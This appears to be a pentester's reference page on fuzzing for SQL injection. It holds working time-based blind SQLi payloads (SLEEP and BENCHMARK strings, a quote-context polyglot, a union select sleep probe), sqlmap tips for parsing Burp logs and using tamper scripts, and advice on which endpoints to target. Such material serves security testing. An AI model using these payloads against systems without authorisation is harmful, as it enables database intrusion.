====== Tactical Fuzzing - SQLi ======

===== SQL Injection =====

Core Idea: Does the page look like it might need to call on stored data?

There exist some SQLi polyglots, i.e (Mathias Karlsson):

<code>
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
</code>

Works in single quote context, works in double quote context, works in "straight into query" context!

You can also leverage the large database of fuzzlists from Seclists (https://github.com/danielmiessler/SecLists)

===== SQL Injection Observations =====
Blind is predominant, Error based is highly unlikely.

<code>
'%2Bbenchmark(3200,SHA1(1))%2B'
</code>

<code>
'+BENCHMARK(40000000,SHA1(1337))+'
</code>

SQLMap is king!
  * Use -l to parse a Burp log file.
  * Use Tamper Scripts for blacklists.
  * SQLiPy Burp plugin works well to instrument SQLmap quickly.
Lots of injection in web services!

===== Zseano/Drew SQLi Additions =====

**Time-based detection payloads:**
<code>
' or sleep(15) and 1=1#
' or sleep(15)#
' union select sleep(15),null#
'%2Bbenchmark(3200,SHA1(1))%2B'
</code>

**Polyglot (jhaddix):**
<code>
"SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
</code>

  * Legacy features and old code = most vulnerable targets
  * Test both GET and POST -- one method may be unprotected
  * Web services/APIs especially vulnerable
  * ''sqlmap -l burp.log --tamper=space2comment'' to parse Burp logs
